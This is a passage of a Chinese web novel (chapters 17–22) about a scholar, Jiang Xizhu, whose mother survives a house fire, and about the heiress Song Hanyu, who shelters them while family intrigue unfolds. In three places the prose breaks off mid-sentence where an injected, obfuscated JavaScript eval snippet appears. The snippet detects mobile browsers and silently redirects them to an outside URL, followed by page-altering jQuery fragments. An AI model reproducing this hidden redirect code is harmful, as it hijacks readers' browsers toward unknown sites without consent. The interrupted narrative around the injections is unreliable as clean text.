牛车上，冯大姑使劲挥着鞭子，倒豆子一般描述着火势，“村子里的人都在睡觉，一听到你家那狗叫的咧，好些人起床看是咋回事，就看到了那火都烧到你家屋顶了！” “然后大家伙儿打水去浇，唉！就是不管用！好些人想帮着找找你娘，唉！找不到啊！” 听着冯大姑絮絮说着，江溪竹的头脑被夜风吹得分外清醒。她沉下眼，已经做好了最坏的准备。 牛车赶到村子时，天边的朝霞已经破开了夜的浓黑，绽放出一丝极淡的光亮来。 村尾聚集了好些人，个个撩起衣袖，拿着水盆水桶在水井和江家来回跑动，满脸都是汗水，冲洗着不小心沾染上的黑灰和泥土。 村子见到江溪竹跳下了牛车，拄着拐杖到了她的跟前，脸上满是忧愁，“虚白啊，你家烧没了，你娘……还是没找着。” 周围的人差不多已经停了下来，围着烧成了灰的江家到处翻看。 江溪竹哑着声音回了句“知道了”，便一声不吭地跟着大家伙儿一起在废墟里寻找。 她和冯氏相处不久，其实并没有太深的感情。只是一想到那个那些被她带去书院的烙饼还没吃完时，她这心里总有些发堵。 手下继续用力，旁边的人递给她一把铲子，她埋头接过，轻声道了句谢，又继续深挖。 “唉……应该是烧没了……” “真可怜……她今年就要乡试了吧？娘一没，她要守孝三年了……” “爹娘都没了，江秀才命可真苦。” ……周围好些人在窃窃私语，感叹着江溪竹的时运不济。 她自己没什么感觉，毕竟从前她亲妈被小三逼死时，那些亲戚也这样在背地里偷偷谈论。 她已经习惯了。 只是双手紧紧握着铲子，更用力地向下挖去。 “汪汪汪！”突然一阵狗叫从烧毁的房梁后面传来，江溪竹抬起头来，看着黄将军灰头土脸地朝她跑来。 黄将军在她面前呜咽两声，张嘴咬住了她的裤腿，扯着她一个劲儿地往后面去。 她敛下眉眼，拿着铲子，随黄将军往后走。 拐过烧得漆黑的房梁，绕过厨房的水缸，往山脚下走了几步，江溪竹在一片灌木丛的遮掩里，看到了一只没穿鞋的脚。 她心神一定，丢下了铲子，快步小跑过去，在黄将军的帮助下，拨开了灌木丛。 冯氏昏睡着，脸上满是黑灰，腿上被烧了一小块，好在伤口不大，上面还敷着一些被嚼碎的青草。 黄将军先是闻了闻冯氏的鼻息，而后在江溪竹身边来回踱步，嘤嘤低叫，像是在求夸奖。 江溪竹反应了过来，抬手抚摸着黄将军的脑袋，哑声夸道：“好狗儿，你很棒。” 一些人跟着走了过来，见到没有缺胳膊少腿儿的冯氏， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730906|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿时振奋起来，“人没事！人没事！” “快来搭把手，先把人找个地方安置好，找个大夫来瞧一瞧。”村长也松了口气，开始指挥着大家善后。 江溪竹向各位道了谢，和他们一起抬着昏迷的冯氏，搁置在了牛车后面的木板上。 这会儿天已大亮，众人看着烧毁的屋子没有一处好地，没办法再住人了。 村长思索片刻，朝躲在人群后面的冯氏娘家人说：“老弟啊，她们娘俩没地住了，要不先去你家住着？” 冯氏的爹抽着旱烟袋，沉着脸不接话，随后冯氏的亲弟弟走了出来，两手一摊，摇着头说道：“表叔，不是我们一家子不答应，实在是家里人多，房子小，住不下了。” 他看起来很为难，指着家里半大不小的女儿说：“家里都住满了，我这娃子都没地儿住，都只能在灶台下搭几片木板将就着睡哩！” 他们一家也不管周围低声议论，连连拒绝了村长的提议后，脚底抹油一般溜出了人群。 村长都傻眼了。虽然他知道冯氏娘家那伙人不靠谱，但也没想到能心狠到这个地步。 江溪竹沉默地看完了全过程，她在心里估摸着手里剩下的银两应当还能撑上三五天，便走到了牛车旁边，同村长说了自己的想法。 “三叔公，我想我娘也不愿意去打扰她娘家人，要不我带我娘去镇上吧，我跟书院的夫子说一声，她们应该不会拒绝。” 村长见她自己有主意，也没再继续插手她的家事，点了点头后，让冯大姑驾着牛车把她们母女两人送去镇上。 不过江溪竹刚坐上牛车，村子前边传来了一阵马的嘶鸣。 众人看去，两辆马车一前一后地停在了他们面前。 前面马车上跳下来的人是周管事，她朝村长浅笑着点头，算是打了招呼后，便对江溪竹说明了来意：“江秀才，昨夜听闻了江家的祸事，我家大小姐便遣了我前来帮衬一二。” 她看向木板上昏迷的冯氏，指着后面的马车，继续说道：“令堂看起来很不好，不如还是用马车送她去镇上看诊吧？” 18. 第 18 章 清晨的空气格外清冽，风中似乎飘荡着昨夜的水雾，轻轻一嗅，发晕的脑袋就逐渐清明。 牛车不稳当，一路上磕磕绊绊的，江溪竹想着以冯氏目前的情形来看，大约是不太能经受得住这样的颠簸。 故而她没有犹豫多久，同意了周管事的提议，与村里的人一起将冯氏搬到了后面那一辆马车里。收拾好后，她郑重其事地朝帮了忙的村长一家和其余人鞠躬致谢。 “都是乡里乡亲的，搭把手的事，你别往心里去诶。”有人摆了摆手，一个劲儿地催促她快些去镇上找大夫，免得耽误了冯氏身上的伤。 江溪竹颔首道别，见周管事朝她做了个请的手势，敛下眉眼，沉默着上了前面的马车。 果然不出她所料，宽敞的马车内还有一个人。 宋小姐浓云般的乌发挽着云髻，两枚雕刻着精致花样的玉簪清透温润，斜斜地插在脑后。美目流转间，纤长的羽睫好似蝴蝶翩跹，轻轻一瞥，便美得让人心动神摇。 江溪竹目光闪躲，低声同这人打了招呼：“宋小姐，今日的事，多谢了。” 宋含玉淡淡扫了她一眼，“你可知家中失火，是为何？” “不是意外？”谈论起旁的事，江溪竹心中的忸怩退去，抬眼看向身旁的人，见她眸光清润，却似乎流露出一丝了然的神色，便暗中思忖，是否她知道些什么？ “记得柳家吗？”宋含玉嫣红的唇一开一合，缓缓道出昨夜查到的事，“柳家不满你发现沟渠被混入药粉一事，想毁了你的科举之路，便让柳岐在昨晚夜黑风高时在你家放了把火。” “毕竟父母亡故，须守孝三年，乡试便没法参加了。所以他们是实打实想要了你母亲的命。” 江溪竹没想到昨夜的火不是意外，而是人为。她不自觉捏紧了拳头，压下了心头的怒意。 “若是你的母亲无法妥善安置，或许之后柳家还会对她下手。”宋含玉撩开宽大的衣袖，附身在暗格里拿出一张纸，不急不缓地搁在了江溪竹的面前。 她浅浅一笑：“若你信得过我，不如把你母亲安置在这处宅院里。” 江溪竹低头瞧了一眼纸张，随即哑声问：“房契？宋小姐这是什么意思？” 若只是单纯的借住，又怎会拿出房契？ 她咽下口水，猜测宋小姐怕是还有让她入赘的念头。 “之前我同你说过，答应成亲，便送你一座三进的院子，这个承诺一直都作数。”宋含玉斜倚在身后的软枕上，目光幽幽地盯着垂眸的少女，“这房契你收着便是，若那一日想通了，就让周管事带你去官府过户。” 江溪竹感受到了难言的压力，她知道宋小姐对她的帮助，都带着筹码。所以上一次宋小姐帮她澄清了盗书的嫌疑后，她立马将杜书行的私事告知给她，算是交换，也算是报答。 但似乎宋小姐对她很感兴趣，这一次出手相助，又提起了成亲的事。 可她已经不知道还能用什么来作为回报了。 “你不必有压力。”宋含玉支起身子，不着痕迹地靠近了沉思的少女，浅茶色的眸子一瞬不瞬地盯着这张红润的脸，“只要你不想，这张房契便是放在你那儿保管而已，要不要拿去过户，我不过问。” 女人清浅的呼吸扑洒在脸上，淡淡的脂粉香盈满了鼻腔。江溪竹抬眼看去，才发觉宋小姐已经无声无息地靠了过来。 两人之间只余下两指的距离，她的瞳孔微缩，清晰地从女人的眼眸之中看到了自己的倒影。 心口开始不受控制地砰砰直跳，她慌乱的眼四处游移，就是不敢再与之对视。 然而目光不小心落在那张微张的潋滟红唇，竟像是被黏住了一般，再也移不开了。 粉嫩的唇轻轻上扬起一个让人难以忽视的弧度，随后便听得宋小姐的嗓音如雨后的微风，在心头扫过，痒痒的，很勾人。 “江秀才，我不太喜欢强迫。” “但是，我只给你三日的考虑时间。” 江溪竹脑袋里像是飞着无数只苍蝇，嗡嗡个不停。她僵硬着身子，指尖捏紧了衣袖，哑声问：“那三日过后，我还是……不同意，你会如何？” “我啊……”宋含玉眼尾上勾，溢出些许媚意来，“不如何。” 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“小姐，江秀才，我们马车后面跟着一条大黄狗，好像是你们村里出来的。” 江溪竹一把掀开车帘，瞧见撒丫子跑来的黄将军，忙跳了下去。 黄将军下意识想要扑到她的身上，却又放下了前腿，用嘴筒子在她身上拱来拱去，像是被抛弃的可怜小兽，嘤嘤低泣。 江溪竹只得蹲下来，摸着她的脑袋安抚，“你跟着来做什么？我不是跟你说了吗，这几天好好待在村长家里，等我娘的伤好了之后，就回去找你。” 可黄将军还是不愿意离开，把毛茸茸的脑袋埋进了她的臂弯里。 “带上她一起吧。”宋小姐平淡的声音从身后传来，“宅院不小，带上她不碍什么事的。” 江溪竹摸着黄将军的脑门，破罐子破摔般心想，反正已经麻烦了宋小姐多次，再麻烦一会儿，似乎也没什么大不了的。 总归……总归以后她考上举人，会好好报答宋小姐的。 一定会的。 19. 第 19 章 快到午时，马车穿过热闹的街道，拐进干净整洁的巷子里，最后停在了一处修缮一新的宅院外。 几个仆妇在周管事的指挥下，小心翼翼地将冯氏抬下马车，送到了后院的厢房里。 刚安置在绵软的被褥之中，冯氏渐渐清醒，因着腿上的伤痛，低呼了几声，还未细看身处何处，就听到了江溪竹关切的声音：“娘，你别动，大夫马上就来了。” “妮儿……”冯氏两眼模糊，抬手拉着江溪竹的胳膊，紧紧捏着，“娘还以为要见不到你了。” 江溪竹见她很惊慌，一副后怕的模样，便放缓了声音安抚她：“娘，没事的。等大夫来给你看了伤，开了药就好了。你别害怕，现在很安全了。” “黄将军呢……？”冯氏被她的轻声细语宽慰着，刚醒来时的惊恐消失了不少，神志愈发清晰后，她想起了救了她一命的狗儿，“昨夜那火窜得老快了，我刚起身就烧到了门口，我被掉下来的木头砸到了脚，走不动了，还是黄将军把我拖出去，又找了些草药给我敷在烧着的地方，不然……不然娘真的就要见不到你了……” “它没事吧？” 江溪竹拍了拍她的手，“黄将军没事，就是皮毛被烧焦了一些，现在跟着我们到了这里。” “这儿？”冯氏环顾四周，被屋内低调奢华的装扮惊了一跳，“这是在哪儿？” 还有身下被褥的绵软清香，手稍稍一捏，就感觉布料细软，不像是便宜的棉布……这样的大手笔，可不是她们这些小老百姓能接触到啊。 江溪竹抿了抿唇，只说是镇上一个朋友的别院，听闻了她们家的祸事，便暂时给她们借住。 冯氏眼睛直愣愣地看着修着花团锦簇的锦缎，拿手轻轻摸了摸，不住口地感叹：“那你可得好好谢谢人家啊，肯收留我们。” 江溪竹忸怩地摸着鼻尖，瓮声瓮气地回道：“……会的。” 门口传来敲门声，周管家柔声问：“江秀才，大夫已经请来了，现在可以进去给令堂瞧一瞧吗？” 江溪竹又低声安抚了冯氏几句，便让周管事带着大夫进屋来。 冯氏的伤并不严重，大夫给她敷了药膏，又写了张方子，便说没什么大碍，之后好好养着就行。 江溪竹彻底放了心，送走了大夫，她哄着冯氏好好睡一觉，在暮色来临时，轻手轻脚地出了屋子。 在外候着的小丫鬟请她去饭堂用晚膳，她跟着去了前厅，犹豫片刻后，她低声问了宋小姐是否也在饭堂。 小丫鬟摇头：“我家小姐已经离开了，她说您在这儿好好照顾冯夫人便是，不必有太大的压力。” 如此，江溪竹悬着的心落回了肚子里，紧绷的脸稍稍缓和，跟着小丫鬟踏入了前厅的饭堂里，用上了十分丰盛的晚膳。 …… 一轮满月挂在天际，热闹的街道两旁挂满了灯火，酒肆花窗上映着觥筹人影，茶楼里烟雾盘旋，往来的人群渲染着浓浓的烟火气。 挂着宋府标志的马车穿过喧闹的人群，慢悠悠停在了相对安静的如意居后门。 等候着此处的云悠示意小厮搁下矮凳，上前掀开了车帘，将一身疲惫的宋含玉迎下了马车。 “小姐，您吩咐奴婢办的事已经办成了，咱们的人已经得手了。”她扶着神色不佳的人走进后门，声音压低，小声汇报着方才得来的消息，“那人已经替换了出来，现在就关在这儿的柴房里，你要去看一看吗？” 宋含玉走上楼梯，平日里柔和的声音变得有些低沉，“不必了，你让人好好看着就行。” 云悠敛眉：“是。” 将人送上三楼暗室，小心伺候着洗漱躺下后，她合上房门，来到后院的柴房里，见周管事也在这儿，便拉了拉她的衣袖，来到一处隐秘的角落，小声询问：“周姨，小姐今天看着不太精神，是不是江秀才又……拒绝小姐了？” 周管事竖起食指做了个“嘘”的动作，摇了摇头，说道：“江秀才太固执，小姐有些不大高兴了。这些天，咱们小心伺候吧，别去触了霉头。” 云悠的眉心拧出一道细痕，很是为难地低语：“怕是不行。就刚刚老爷遣了人来，数落小姐老是不回家……还让小姐明日必须出现在他面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730908|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 其实管家的原话更难听，云悠听了都替自家小姐感到不忿。 周管事眼底浮现出一丝暗嘲，“这事儿我明日再去和小姐说吧，今晚让她好好休息休息。” …… 清晨的日光透过树梢，穿过纸糊的窗户，斑驳地投在玉石铺就得地面上，反射的五彩光晕出现在眼前，像是身处珍奇宝石周围，一睁眼便被震撼到不知所措。 江溪竹抱着松软的被子坐在柔软的床榻上，眨巴着眼，缓了许久，才从震撼之中清醒过来。 其实她是有些认床的，穿越到那个破烂的屋子里后，她基本上没怎么睡好。可昨夜躺在这张床上，就像是被团团绵密的云朵环抱，舒服得一闭上眼就陷入了沉睡，一夜好眠到天亮。 她摸了摸手中的被褥，不住地叹气：“当真是富贵动人心啊……” 她磨磨蹭蹭起床，屋外有小丫鬟来传话：“江小姐，您的同窗林小姐今日一大早给您搬来了许多书册，现下正在前面大厅，您要现在去见她吗？” 江溪竹穿上最后一件外衫，扎了个高马尾，拉开房门往前厅走去，“先去大厅。” 拐过垂花门，来到前厅，还未进门，就已听到了林岁欢拘谨的声音：“……不用不用，我坐着等她就行，你们不用管我，不用管我……” 江溪竹撩开衣袍，跨过门槛，瞧见她半个屁股坐在雕花木凳上，一个劲儿地朝给她递上甜点的小丫鬟摆手。 “你们先下去吧。”她笑了笑，示意小丫鬟搁下甜点就行。 屋内没了候着的小丫鬟，只剩下江溪竹和林岁欢两个人。 静默片刻后，林岁欢猛地松了口气，起身围着一身天青色锦衣华服的人转了个圈，啧啧两声，“亏得我昨天还担心你，结果你倒好，居然跑到宋小姐的别院来吃香喝辣了。” 她捏着江溪竹身上的锦袍仔细打量，随后不住地摇头：“还说你和宋小姐不熟，这些好料子都穿上，还不熟啊？” 江溪竹拍开她的手，轻哼一声：“我家里的衣服都烧没了，宋小姐是看我可怜，才给我准备了这些的。” 20. 第 20 章 有人还在嘴硬，但有人已经不相信了。 林岁欢撇嘴轻笑，眼里闪着戏谑的光，似乎看穿了某人的倔强，“是是是，宋小姐善良大方，又可怜你。那你就好好在这儿待着吧，反正也没多久就要去顺安府了，你在书院里还容易遇上柳岐，所以就在宋小姐的别院里准备吧。” “喏。”她扭头，指着身后垒成一摞摞的书册，“需要用到的书，我都给你带来了。” “不过夫子特意叮嘱了，说你照顾你母亲虽然辛苦，但是不能在最后的关头懈怠了。” 江溪竹敛眉：“这是自然。” 她现在的目标可就是考上举人呢，那必定是会认真对待的。毕竟除了要报答宋小姐，姓柳的她可不会放过，只是现在她人微言轻又没势力，拿他没什么办法。或许成了举人……就能报仇了。 “那我就不去探望伯母了，你好生照顾她吧。”林岁欢拿了一小块甜点塞进嘴里，满足地摆摆手，朝身后的人告辞了。 江溪竹跟上去，“你不与我一起用早膳吗？” “不了，我现在要去找云卿呢，她最近给那群小屁孩启蒙，被搞得头疼，我去看看能不能帮她。”林岁欢的嗓音里带着毫不掩饰的愉悦。 江溪竹耸了耸肩，没再挽留。毕竟她现在也是寄人篱下，不好做出主人家的姿态来。 小丫鬟已经在饭堂里摆好了香喷喷的早点，江溪竹刚坐下喝了一小口甜粥，门外忽然传来一阵惊慌失措的喧闹声。 她搁下碗筷，起身出门看去。 院子里高耸的桃树枝叶繁茂，其间开出了朵朵浅粉的花儿，不过这会儿枝叶摇晃得厉害，花瓣儿也在在半空中飘摇，簌簌落下。 江溪竹的视线往下，树干底下围了几个小丫鬟，正俯下身子急急忙忙地要抬起什么。 “哎呀！您怎么在这儿啊！这树这么高，您爬上去做什么啊？”领头的丫鬟招来了四个膀大腰圆的仆妇，指挥着她们小心翼翼地抬起从树干跌在地上的粉色身影。 直到人被抬起来，勉强站直了身子，江溪竹才瞧见这人的脸。 圆润的脸蛋泛着桃花般的粉，漂亮的眼睛正眯着，抹着口脂的嘴一张，就是撕心裂肺地哀嚎：“诶诶诶！痛痛痛！你们别动，先别动！让我缓缓！” 扶着她的仆妇不敢再动弹，领头的丫鬟吩咐人寻了把轮椅来，颇为谨慎地让人把她放在了上面。 “二小姐，大夫快请来了，您再忍忍啊。” 缓了许久，宋盈腚上的疼痛消减了不少，她自己轻轻揉了揉，跟那丫鬟低声叮嘱：“别让大夫来，也别让其他人知道我来过这处别院，听懂了没有？” 丫鬟从善如流地应了个是。 宋盈满意了，这才拿正眼看向立在廊下的少女。 稚嫩的模样看起来似乎只有十七八岁，比她大不了几岁，不过肤色很白，嫣红的唇在其映衬下，没有点胭脂，也极有鲜活气息。额角有几缕碎发扫过眉梢，看起来很有少年人的灵动。 “你就是我姐姐看上的秀才？”宋盈上下打量着，撇了撇嘴，嫌弃的意味十分明显，“好像也不过如此嘛。” 江溪竹眨了眨眼，听到丫鬟介绍了这人的身份后，压下心底的不满，朝她揖了揖手，“见过宋二小姐。” “别给我来这套。”宋盈抬手，让仆妇们把她推到廊下，近距离扫了一眼神色平淡的少女，她高仰着头，拿捏着富家千金的姿态，“我的姐姐貌美如仙，温和沉静，自小就会看账本管理铺子，到现在身家已不知几何，你一个穷酸秀才，拿什么来配我的长姐？” 她的眼里明晃晃是对江溪竹的轻蔑，“你若有自知之明，还是早早离开，别招惹我长姐。” 江溪竹不知这人对自己的敌意从何而来，但人都挑衅到了面前，即便刚刚看在宋小姐的面子上，已经给她留了一些情面，可她又不是泥捏的，要继续站在这儿任由她来羞辱。 “看来宋二小姐很看不上我，但那又如何？是你的姐姐同意我住在这儿的。” “当然，”她居高临下地俯视着面带轻视的人，眉梢上挑，微微一笑，“也是你的姐姐同意我招惹她的。” 大概是这副得意的模样太欠揍了，宋二小姐狠狠瞪了她一眼：“你别得意，等姐姐哪天腻了，也 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“不知父亲寻我有何事？”她没理会宋老爷的训诫，也不想和他多费口舌。 大约是她的声音太冷，惹了宋老爷不大高兴，他缓缓抬头，盯着下首的人，眼里没有一丝对待女儿的温情。 “之前与你提起的婚事，前些日子出了些岔子，不过已经处理好了。” 他抚着胡须，语气平淡，像是在谈论明日的天气一般轻松简单：“杜家与我商议好了，三日后的好日子，你带着聘礼去下聘。” 灯花啪嗒一声爆开，烛火微光晃动摇曳，周围陷入一片黯淡，似乎笼罩着一层浓郁的阴霾。 早料到了今日的谈话内容会与她的亲事有关，但宋含玉的心里已经不会再起一丝波澜。她冷淡的目光透过如纱一般的暗沉夜色，极为淡漠地看着案桌之后的人。 “除了这个，父亲还有别的话吗？” 宋老爷神色幽深：“我对你没有别的要求了，只要你和杜家小子成了亲，家中的一切，我都会交到你的手上。” 21. 第 21 章 冗长的沉默后，宋含玉浅浅一笑，只是眼底藏着暗涌，凉薄的嘴角动了动，再未有只言片语。 她拨开宽大的衣袖，缓缓起身告辞，推开门，走出了那一室的黑暗。 宋府宅院很大，虽为商人之家，但宋老爷颇有雅致。廊院亭桥、花草门窗、多以浅色调为主，清雅素净，又格外精美奇巧。 只是宋含玉在朦胧月色中行走，却感受不到宅院里的平和，只觉得周围的一切都将柔和的月光隔绝在外，透露着无边的暗黑孤寂。 “小姐，咱们还回如意居吗？”云悠在她身旁提着绢灯，垂眸盯着脚下的石子路。 风拂过发梢，拨开云雾般，眼前似有了些光亮。 宋含玉脚步未停，朝着大门外走去。 云悠见状，小心翼翼地跟上去，她捏着手心的竹柄，游移的目光里透露出犹豫不决来。 “有什么事？”宋含玉淡声问。 眼见着快要走出宋府，云悠捏紧手心，一咬牙，将底下小丫鬟递上来的消息低声道出：“小姐，今日二小姐偷偷去了别院，大约是想瞧一瞧江秀才，但……但她不小心从树上摔了下来，不知道摔得怎么样，伺候的人要去请大夫给她看看，但她怕你知道了这件事会责怪她，所以……所以她被送回府后，一直在屋子里躺着，不知道是个什么情况……” 身旁的风倏而停滞，在暗光下摇曳的裙摆垂落。 宋含玉幽暗的眼微闭，随后紧抿着唇。周身萦绕着疲惫的气息，消磨着她原本明艳的气韵。 沉默了许久，她的脚步移转，朝着寂静的后院而去。 香兰阁内绣金鸾凤的纱帐低垂，珠帘半卷，檀木小几上搁着一盏烛灯，柔和的光洒在圆润饱满的玉珠上，流光溢彩，美轮美奂。 屋内候着两名贴身丫鬟，一个捧着一碗热牛乳小心翼翼喂到宋盈嘴边，轻声哄她喝下。另一个丫鬟跪坐在床边，正轻柔地给她揉捏着今日摔疼了的腚。 “小姐，这里一大片都成紫黑色的了，得多疼啊，您真的不让我们去请大夫吗？”小丫鬟心疼得很，手上的动作越发轻柔。 宋盈哼哼唧唧地喝下一小口牛乳，含糊地说：“不……不用。” 小丫鬟还想再劝，屋外的门啪嗒一声被推开了。 脚步声越来越近，之后便瞧见一身天青色锦缎长裙的女人走了进来。 小丫鬟们垂下眼，给突然造访的宋含玉行了礼。 “你们先下去。”宋含玉淡漠地扫了一眼床榻上的人。 小丫鬟们面面相觑，在得到了宋盈的允准后，低着头，悄无声息地退了出去。 只剩下两人的房间里陷入了死一般的寂静，空气仿佛一瞬间凝固，结成了冰。 “姐姐，”宋盈趴在枕头上，歪着脑袋，十分乖巧地先打了招呼，“这么晚了……你是来看我的吗？” 宋含玉斜了她一眼，不急不缓地走到窗台下的软榻上坐下，“宋盈，今日你去别院，打扰到了我的客人。” 语气是惯常的平淡，但宋盈就是从里面听出了责备。 她脸上乖巧的笑收了起来，闷哼一声后，一开口就是对江溪竹的不屑：“客人？姐姐，那样一个要啥没啥、只会吃软饭的穷酸秀才，你觉得她配吗？” “你要是真不想答应老头子的安排，那杜书行自有我帮你来解决。你何必这么着急寻找替代品来成亲？” 宋含玉轻叩桌面，声音平静而冷淡，不带一丝感情色彩：“我需要你帮我？” “而且，”她的眼尾微挑，如寒夜般的眸子泛起了点点冷光，“宋盈，和杜书行联姻的事，你究竟是想帮我还是帮你自己，你心里清楚。” 空气里落针可闻，宋盈揉捏着软枕，眼睫微垂，像是把所有情绪都藏进了那片阴影里。 “姐姐，这件事上，我是有点儿私心。” 她的声音很低：“但我更不想看到你被这些事纠缠……而不开心。” 身为宋府庶女，她很早就知道自己在宋老爷心里没什么地位，对他而言自己只是个长大后能随意送人换取利益的漂亮筹码而已。 她啊，只是有些不甘心罢了。 她想过筹谋，想过夺权，想高高在上地站在宋老爷面前，问他一句——还想拿我当做交换的物件吗？ 可她所有的不甘心和阴暗想法，在面对长姐宋含玉时，都在动摇。 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她要宋府，她要绝对的权力。努力这么久，使尽了手段，即使以后败了，她也无怨无悔，因为她争取过。 若是胜了，那她养着长姐一辈子就是。 她想，她会让长姐好好过完这一生，不受任何束缚。 夜里很凉，半开的窗户灌进了些许冷风。宋盈瑟缩着身子，指节蜷曲，闷闷不乐地抬眼，看向软榻上的人时，满是委屈不安，“姐姐，我在帮你，可你却怀疑我的用心。” “我没有想过靠着和杜书行联姻，就去抢老头子手里剩下的商铺和商路。或许从前我有这样想过，但我知道自己不如你，也不想和你再争。” 满眼委屈的少女声音细微而破碎，仿佛在抗拒心头的酸楚。 宋含玉盯着半空着飘荡的织金纱幔，目光幽深，神色沉静而冷漠，仿佛对一切都保持着冷静的观望态度。 “宋盈，府里的权力，不是你想不想要，而是我愿不愿意给。” “所以，你帮不帮忙，对我而言，不会有任何影响。” 22. 第 22 章 宋盈垂下眼眸，掩盖着眸中的情绪翻涌。只是掌心的软枕被用力揉捏出了无数细长的褶皱，像是被剖开的心，碎得不像样。 “姐姐，你一定要为了那个穷酸秀才，与我说这样剜心的话吗？” 宋含玉摇头，轻扯的嘴角有一丝冰冷的意味，“这是警告。” “我只是在告诉你，别自作聪明。我的事，不需要你插手。” 话音落下，她再没有想要继续交谈下去的欲望，没理会宋盈可怜无辜的目光，她敛眉起身，穿过轻轻浮动的纱幔，转身走出了屋子。 夜还是很漫长，浓郁的黑色扑面而来，让人几乎喘不过气来。 悄无声息地离开幽静的宋府，坐进马车里，云悠揭开灯罩子，将烛芯拨弄，烛火的微光更亮了些。 她见自家小姐一路沉默寡言，神色不佳，顿时有些后悔方才把二小姐的事说与她知晓。 也不知二小姐说了什么，让小姐如此疲倦。 她轻柔地盖上灯罩子，尽量不发出声音，让宋含玉更心烦。 “今日宋盈前去别院，可有对江秀才说些什么？”宋含玉一手撑头，靠在软垫上闭目假寐，平淡的声音流露出些许倦怠。 云悠偷偷拿眼看着她，踌躇片刻，将小丫鬟上报的所见所闻都描述了一遍，“……江秀才嘴上也没饶人，所以二小姐才会如此生气。” 沉寂许久，宋含玉颔首，低语道：“明日让周姨去一趟别院，让她告诉江秀才，余秉章那名小厮的事。” 云悠知晓，这是要拿小厮的事去安抚江秀才，她低声应了个是。 “另外，杜书行有断袖之癖的消息继续压下，不必透露出去。” 闻言，云悠稍稍抬眼，似乎有些不解：“……这件事不告诉二小姐了吗？” 宋含玉的声音似是裹上了一层霜雪：“不必，即便她知道，她也不会断了和杜书行的联系。” 今日她已经看透，宋盈戏做得再足，也掩盖不了她想要老头子余下产业的渴望。 她不会放弃联系杜书行的，毕竟这可是老头子亲自挑选的赘婿，和他成亲，对宋盈来说更会让她万无一失。 可，那又怎样？ 不过都是些小小的阻碍，她并不放在眼里。 …… 经过几日的调养，冯氏腿上的伤已经开始有了结疤的迹象，整个人的精神状态也好了许多。不再像刚到别院时那般绷紧了神经，一有点儿风吹草动就紧张得不行。 江溪竹伺候着她用了晚膳，又喂她喝下了新开的药，瞧见她恢复得极好，不由地露出一个笑来，随即在心里默默地再次感谢了宋小姐。 “江小姐，”屋外有小丫鬟在敲门，“周管事在前厅，想要见一见您。” 江溪竹拍了拍冯氏的手背，服侍着她睡下，便出了屋子，去了前厅。 听得身后的脚步声，周管事转身揖了揖手，笑意盈盈地示意身旁的小丫鬟递上了一个药盒。 “江秀才，小姐估摸着令堂的伤要结痂了，便让我送来这盒祛疤的药膏。” 江溪竹愣了片刻，在心底感叹着宋小姐的体贴后，很是自然地接了过来，“那便多谢宋小姐了。” 周管事见她面上再无拘谨犹豫的神色，脸上的笑意又加深了不少，摆了摆手，说不必如此见外后，挥退了大厅内候着的小丫鬟，低声说道：“今日我前来，还有一事。” 江溪竹：“请讲。” 周管事的声音压得更低：“之前你被那名小厮诬陷偷盗余堂长的孤本……虽然已经结案了，但后来小姐查到并非小厮因为家中贫穷才盗书去典当的。” 这件事似乎已经过去了很久，江溪竹都快要将那小厮给忘记了。 她拧紧了眉心：“你的意思是，是有人在背后指使他？” 当时她以为是小厮囊中羞涩，才偷偷拿了余堂长的孤本去换银子，所以洗清嫌弃后，她看到小厮得到了惩罚，便也没再过问这事。 可听周管事的话，似乎她被陷害，里面还有文章？ “是。”周管事低低吐出一个名字，“余秉章，余堂长。” 江溪竹的脸上露出难以置信的神色：“余堂长？” 可她记忆里，从未得罪过余堂长。就连在书院里，见都难见上这位堂长一面，那他为何要如此做局诬陷她？ 周管事立马给出了答案：“余秉章和京城柳家有姻亲关系，而镇上的柳家作为京城柳家的旁枝，与余秉章也有些来往。不过来往不多，且基本上都在私底下，所以极少有人知道他们之间的关系。” 原来如此。 那便说得通了。 难怪柳家要去她家放一把火，原来是之前设计害她不成，就把主意打到了她的母亲身上。 “所以小姐让我来提醒你，要小心余秉章。”周管事见她明白了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730911|174012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，便低声说道：“虽说现在你和令堂都在这儿，可以放心些，但再过几月，你就要去顺安府参加乡试，怕是会遇上柳家人……当时候可得当心了。” 江溪竹敛眉应下：“多谢周管事前来告知，我会警醒些的。” 思索一会儿后，她说出了自己这些天的打算：“这些日子我和母亲叨扰各位了，我想明日回村一趟，和村长商议重新修建老屋，等风头过去了，我和母亲就回村子里，免得继续打扰宋小姐。” 这也是冯氏的想法，毕竟一直在别人家里住着，即便再方便，也总觉得寄人篱下。 所以等她考上了举人，柳家或许能收敛些，她就带着冯氏回去。 